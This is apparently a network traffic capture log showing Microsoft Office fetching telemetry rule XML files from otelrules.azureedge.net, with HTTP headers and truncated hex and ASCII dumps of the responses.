2024-12-07 23:48:57 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.7	49827	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:57 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:57 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:57 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: e2bfbc9d-f01e-0085-0f03-4888ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234857Z-r1cf579d778x776bhC1EWRdk8000000003qg0000000072g7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:57 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.7	49828	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:57 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:57 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:57 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 42c4dea6-f01e-0099-6c03-489171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234857Z-r1cf579d778x776bhC1EWRdk8000000003u00000000031h9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:57 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.7	49829	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:57 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:58 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:57 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 22946db9-b01e-0021-4e03-48cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234857Z-r1cf579d7789trgthC1EWRkkfc00000004gg000000001mgy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:58 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.7	49830	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:59 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:49:00 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:59 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 9a7d6e1d-d01e-00a1-4e08-4835b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234859Z-r1cf579d778kr8xrhC1EWRfkun000000048g000000002q0d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:49:00 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.7	49831	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:59 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:49:00 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:59 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: 1dad0878-201e-0071-1606-48ff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234859Z-r1cf579d7789trgthC1EWRkkfc00000004c0000000007sk5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:49:00 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.7	49832	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:59 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:49:00 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:59 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 8332b9fd-c01e-0079-1704-48e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234859Z-r1cf579d778zvkpnhC1EWRv23g000000041g0000000033wx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:49:00 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.7	49833	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:59 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:49:00 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:59 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: fdf36bd3-a01e-0070-1e03-48573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234859Z-r1cf579d778zvkpnhC1EWRv23g00000003xg000000006ret x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:49:00 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.7	49834	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:59 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:49:00 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:49:00 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 812207fe-e01e-0099-5703-48da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234900Z-r1cf579d7782ctslhC1EWRfbrw0000000490000000002wxn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:49:00 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.7	49837	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:49:01 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:49:02 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:49:02 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 62ef0171-501e-000a-5a03-480180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234902Z-r1cf579d778lntp7hC1EWR9gg4000000038g0000000025u6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:49:02 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.7	49836	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:49:01 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:49:02 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:49:02 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: a7f22c35-701e-001e-6403-48f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234902Z-r1cf579d778v97q7hC1EWRf95c000000039g0000000083cf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:49:02 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.7	49839	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:49:01 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:49:02 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:49:02 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 315ad4be-c01e-0014-2a03-48a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234902Z-r1cf579d778qgtz2hC1EWRmgks00000003mg000000004fh0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:49:02 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.7	49840	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:49:02 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
